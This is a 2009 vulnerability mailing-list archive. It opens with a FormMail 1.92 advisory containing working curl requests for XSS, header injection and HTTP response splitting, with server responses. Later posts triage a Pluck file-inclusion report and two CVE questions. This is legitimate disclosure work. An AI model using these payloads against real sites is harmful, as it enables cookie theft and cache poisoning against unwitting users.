From ascii at katamail.com Tue May 12 10:32:56 2009
From: ascii at katamail.com (ascii)
Date: Tue, 12 May 2009 12:32:56 +0200
Subject: [VIM] FormMail 1.92 Multiple Vulnerabilities
Message-ID: <4A095058.2060809@katamail.com>
FormMail 1.92 Multiple Vulnerabilities
Name Multiple Vulnerabilities in FormMail
Systems Affected FormMail 1.92 and possibly earlier versions
Severity Medium
Impact (CVSSv2) Medium 4.3/10, vector: (AV:N/AC:M/Au:N/C:P/I:N/A:N)
Vendor http://www.scriptarchive.com/formmail.html
Advisory http://www.ush.it/team/ush/hack-formmail_192/adv.txt
Authors Francesco "ascii" Ongaro (ascii AT ush DOT it)
Giovanni "evilaliv3" Pellerano (evilaliv3 AT ush DOT it)
Antonio "s4tan" Parata (s4tan AT ush DOT it)
Date 20090511
I. BACKGROUND
FormMail is a generic HTML form to e-mail gateway that parses the
results of any form and sends them to the specified users. This script
has many formatting and operational options, most of which can be
specified within each form, meaning you don't need programming knowledge
or multiple scripts for multiple forms. This also makes FormMail the
perfect system-wide solution for allowing users form-based user feedback
capabilities without the risks of allowing freedom of CGI access. There
are several downloading options available below and more information on
this script can be found in the Readme file. FormMail is quite possibily
the most used CGI program on the internet, having been downloaded over
2,000,000 times since 1997.
II. DESCRIPTION
Multiple Vulnerabilities exist in FormMail software.
III. ANALYSIS
Summary:
A) Prelude to the vulnerabities
B) Cross Site Scripting
C) HTTP Response Header Injection
D) HTTP Response Splitting
A) Prelude to the vulnerabities
What follows is the code used to validate the user input:
Line 283: $safeConfig array definition.
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
foreach $field (keys %Config) {
$safeConfig{$field} = &clean_html($Config{$field});
}
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
Line 518: definition of clean_html function, used to generate the
"$safeConfig" array from "$Config".
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
# This function will convert <, >, & and " to their HTML equivalents.
sub clean_html {
local $value = $_[0];
$value =~ s/\&/\&/g;
$value =~ s/\</g;
$value =~ s/>/\>/g;
$value =~ s/"/\"/g;
return $value;
}
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
These functions are not always applied to the user input and don't
protect against all the attack vectors (as URI or DOM XSS that can work
also if encoded), this is why various vulnerabilities exist.
B) Cross Site Scripting vulnerability
Line 293: the "redirect" variable is used to write the location header
value. Its value is not filtered so it's possible to perform both
HTTP Header Injection and an HTTP Response Splitting attacks.
Since Header Injection is one of the most versatile attack vectors we
could use it (like "downgrade it") to perform a Cross Site Scripting
attack but it would not represent a different vulnerability.
In this case we are already inside a "Location" response header and it's
possible to perform an XSS without splitting the response and using the
standard Apache page for the 302 Found HTTP status.
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
# If redirect option is used, print the redirectional location header.
if ($Config{'redirect'}) {
print "Location: $safeConfig{'redirect'}\n\n";
}
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
XSS vulnerability example:
http://127.0.0.1/FormMail.pl?recipient=evilaliv3 at ush.it&subject=1&redire
ct=javascript:alert(%27USH%27);
Response:
$ curl -kis "http://127.0.0.1/FormMail.pl?recipient=evilaliv3 at ush.it&sub
ject=1&redirect=javascript:alert(%27USH%27);"
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
HTTP/1.1 302 Found
Date: Sat, 11 Apr 2009 14:12:11 GMT
Server: Apache
Location: javascript:alert('USH');
Content-Length: 267
Content-Type: text/html; charset=iso-8859-1
302 Found
Found
The document has moved here.
Apache Server at 127.0.0.1 Port 80
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
Obiously the XSS is not automatic since browsers don't follow the
"javascript:" URI handler in the "Location" header.
A second XSS vulnerability, not based on HTTP tricks, exists: in the
following code the the "$return_link" variable is reflected (printed) in
the page body without any validation:
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
Line 371: the "$return_link" variable is printed in the page body
without any validation.
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
# Check for a Return Link and print one if found. #
if ($Config{'return_link_url'} && $Config{'return_link_title'}) {
print "\n";
}
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
The vulnerability can be triggered with the following request:
$ curl -kis "http://127.0.0.1/FormMail.pl?recipient=evilaliv3 at ush.it&subj
ect=1&return_link_url=javascript:alert(%27USH%27);&return_link_title=USH"
This XSS is not automatic.
C) HTTP Response Header Injection
An HTTP Response Header Injection vulnerability exists, the following
request triggers the vulnerability:
$ curl -kis "http://127.0.0.1/FormMail.pl?recipient=evilaliv3 at ush.it&sub
ject=1&redirect=http://www.example.com%0D%0aSet-Cookie:auth%3DUSH;vuln%3
DHTTPHeaderInjection;"
Can be verified with the obvious "javascript:alert(document.cookie)".
D) HTTP Response Splitting
Thanks to the full exploitability of the Header Injection vulnerability
an HTTP Response Splitting can be performed.
The following request is an example of the attack:
http://127.0.0.1/FormMail.pl?recipient=evilaliv3 at ush.it&subject=1&redire
ct=http://www.ush.it%0D%0A%0FContent-Length:%200%0D%0AContent-Type:%20te
xt/plain%0D%0AStatus:302%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Typ
e:%20text/plain%0D%0Ahttp://www.ush.it
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
$ curl -kis "http://127.0.0.1/FormMail.pl?recipient=evilaliv3 at ush.it&sub
ject=1&redirect=%0D%0A%0FContent-Length:%200%0D%0AContent-Type:%20text/p
lain%0D%0AStatus:302%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:%2
0text/plain%0D%0Ahttp://www.ush.it"
HTTP/1.1 302 Found
Date: Sun, 12 Apr 2009 23:01:18 GMT
Server: Apache
Content-Length: 0
Location:
Transfer-Encoding: chunked
Content-Type: text/plain
HTTP/1.1 200 OK
Content-Type: text/plain
http://www.ush.it
--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
HTTP Response Splitting can be used to trigger a number of different
vectors, ranging from automatic Reflected XSS to Browser and Proxy
Cache Poisoning.
IV. DETECTION
FormMail 1.92 and possibly earlier versions are vulnerable.
V. WORKAROUND
VI. VENDOR RESPONSE
VII. CVE INFORMATION
No CVE at this time.
VIII. DISCLOSURE TIMELINE
20070501 Bug discovered
20070531 Initial vendor contact (Thu, 31 May 2007 22:21:39 +0200)
-- No response and the bug sleeped for some time in ascii's mind --
20090505 Second vendor contact
-- Giving up, will have better results with forced disclosure --
20090511 Advisory Release
IX. CREDIT
Francesco "ascii" Ongaro, Giovanni "evilaliv3" Pellerano and Antonio
"s4tan" Parata are credited with the discovery of this vulnerability.
Francesco "ascii" Ongaro
web site: http://www.ush.it/
mail: ascii AT ush DOT it
Giovanni "evilaliv3" Pellerano
web site: http://www.evilaliv3.org
mail: giovanni.pellerano AT evilaliv3 DOT org
Antonio "s4tan" Parata
web site: http://www.ictsc.it/
mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
X. LEGAL NOTICES
Copyright (c) 2009 Francesco "ascii" Ongaro
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
From theall at tenablesecurity.com Mon May 18 18:44:52 2009
From: theall at tenablesecurity.com (George A. Theall)
Date: Mon, 18 May 2009 14:44:52 -0400
Subject: [VIM] Pluck 4.6.2 (langpref) Local File Inclusion Vulnerabilities
Message-ID:
The issues in milw0rm 8715 / BID 35007 don't look valid to me. The
code in the three files in 4.6.2 looks like:
include ("data/settings/langpref.php");
include ("data/inc/lang/en.php");
include ("data/inc/lang/$langpref");
The first of these consists entirely of:
and the second hardcodes variables named '$lang' and '$lang_' but
doesn't reference any request data. Has anybody else looked into them?
George
--
theall at tenablesecurity.com
From str0ke at milw0rm.com Mon May 18 19:37:37 2009
From: str0ke at milw0rm.com (str0ke)
Date: Mon, 18 May 2009 14:37:37 -0500
Subject: [VIM] Pluck 4.6.2 (langpref) Local File Inclusion
Vulnerabilities
In-Reply-To:
References:
Message-ID: <4A11B901.2060103@milw0rm.com>
There isn't a data directory in the same folder as the vulnerable
scripts. So it will error in inclusion on most of the lines except the
3rd one if register globals = on.
George A. Theall wrote:
> The issues in milw0rm 8715 / BID 35007 don't look valid to me. The
> code in the three files in 4.6.2 looks like:
>
> include ("data/settings/langpref.php");
> include ("data/inc/lang/en.php");
> include ("data/inc/lang/$langpref");
>
> The first of these consists entirely of:
>
>
>
> and the second hardcodes variables named '$lang' and '$lang_' but
> doesn't reference any request data. Has anybody else looked into them?
>
>
> George
From theall at tenablesecurity.com Mon May 18 19:40:06 2009
From: theall at tenablesecurity.com (George A. Theall)
Date: Mon, 18 May 2009 15:40:06 -0400
Subject: [VIM] Pluck 4.6.2 (langpref) Local File Inclusion
Vulnerabilities
In-Reply-To: <4A11B901.2060103@milw0rm.com>
References:
<4A11B901.2060103@milw0rm.com>
Message-ID:
On May 18, 2009, at 3:37 PM, str0ke wrote:
> There isn't a data directory in the same folder as the vulnerable
> scripts. So it will error in inclusion on most of the lines except
> the
> 3rd one if register globals = on.
Oh, of course! Thanks,
George
--
theall at tenablesecurity.com
From coley at linus.mitre.org Mon May 18 19:52:51 2009
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 18 May 2009 15:52:51 -0400 (EDT)
Subject: [VIM] Pluck 4.6.2 (langpref) Local File Inclusion
Vulnerabilities
In-Reply-To: <4A11B901.2060103@milw0rm.com>
References:
<4A11B901.2060103@milw0rm.com>
Message-ID:
On Mon, 18 May 2009, str0ke wrote:
> There isn't a data directory in the same folder as the vulnerable
> scripts. So it will error in inclusion on most of the lines except the
> 3rd one if register globals = on.
... which means they fall through and $langpref is set externally, right?
I forgot about that little feature.
My kingdom for a cheat sheet to remind us of all these different PHP
oddities :-) (we've got a limited one for CVE)
While I'm sharing - add show_source and highlight_file to your list of
dangerous LFI functions. These are intended to perform syntax
highlighting of PHP program files, but they let regular files through just
fine. CVE-2009-1653 / MILW0RM:8667 has this. Does anybody know of any
earlier vulnerability report of this function?
- Steve
From str0ke at milw0rm.com Mon May 18 20:29:32 2009
From: str0ke at milw0rm.com (str0ke)
Date: Mon, 18 May 2009 15:29:32 -0500
Subject: [VIM] Pluck 4.6.2 (langpref) Local File
Inclusion Vulnerabilities
In-Reply-To:
References: <4A11B901.2060103@milw0rm.com>
Message-ID: <4A11C52C.8060400@milw0rm.com>
George A. Theall wrote:
> On May 18, 2009, at 3:37 PM, str0ke wrote:
>> There isn't a data directory in the same folder as the vulnerable
>> scripts. So it will error in inclusion on most of the lines except the
>> 3rd one if register globals = on.
>
> Oh, of course! Thanks,
>
> George
Doesn't seem this can be exploited with php4 on linux but php5 is fair
game. Also not sure if it really matters the php version in windows.
From str0ke at milw0rm.com Mon May 18 20:36:56 2009
From: str0ke at milw0rm.com (str0ke)
Date: Mon, 18 May 2009 15:36:56 -0500
Subject: [VIM] Pluck 4.6.2 (langpref) Local File
Inclusion Vulnerabilities
In-Reply-To:
References: <4A11B901.2060103@milw0rm.com>
Message-ID: <4A11C6E8.8000502@milw0rm.com>
Steven M. Christey wrote:
> While I'm sharing - add show_source and highlight_file to your list of
> dangerous LFI functions. These are intended to perform syntax
> highlighting of PHP program files, but they let regular files through just
> fine. CVE-2009-1653 / MILW0RM:8667 has this. Does anybody know of any
> earlier vulnerability report of this function?
>
> - Steve
>
Not sure on show_source but the highlight_file function listed in 2008.
http://milw0rm.com/exploits/5394
http://milw0rm.com/exploits/5420
From deapesh at gmail.com Thu May 21 16:01:36 2009
From: deapesh at gmail.com (Deapesh Misra)
Date: Thu, 21 May 2009 12:01:36 -0400
Subject: [VIM] IIS WebDav Vulnerability CVE ID
Message-ID: <22b0e07b0905210901j52a9cfddredc049fab6d5ddf9@mail.gmail.com>
Hi,
What is the actual CVE ID for the IIS WebDav vul from Kingcope
(http://www.milw0rm.com/exploits/8704)?
Microsoft says CVE-2009-1535 in their security advisory
(http://www.microsoft.com/technet/security/advisory/971492.mspx) while
others are using CVE-2009-1676
(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1676)
thanks,
Deapesh.
From coley at linus.mitre.org Fri May 22 23:32:15 2009
From: coley at linus.mitre.org (Steven M. Christey)
Date: Fri, 22 May 2009 19:32:15 -0400 (EDT)
Subject: [VIM] CVE-2008-6800 dispute: samba winbindd race condition
Message-ID:
This CVE was created from an rPath advisory that was apparently a mis-read
of a Samba changelog comment that said "Prevent crash bug in Winbind
caused by a race condition when a child process becomes unresponsive."
- Steve
======================================================
Name: CVE-2008-6800
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6800
Reference: BUGTRAQ:20081030 rPSA-2008-0308-1 samba samba-client samba-server samba-swat
Reference: URL:http://www.securityfocus.com/archive/1/archive/1/497941/100/0/threaded
Reference: MISC:https://issues.rpath.com/browse/RPL-2766
Reference: CONFIRM:http://wiki.rpath.com/Advisories:rPSA-2008-0308
Reference: CONFIRM:http://www.samba.org/samba/history/samba-3.0.32.html
** REJECT **
DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: None. Reason: this
candidate is not a security issue. It was originally created based on
one vendor's misinterpretation of an upstream changelog comment that
referred to a race condition in the winbind daemon (aka winbindd) in
Samba before 3.0.32. The upstream vendor states: "The Samba Team sees
no way to exploit this race condition by a user of the system or an
external attacker. In order to be able to trigger the race condition a
privileged user (root) need to intentionally kill a winbind child
process and carefully time the killing to trigger the race
condition. Although, if the user is already privileged, it can more
easily just kill the parent process directly." CVE concurs with the
dispute. Notes: CVE users should not use this identifier.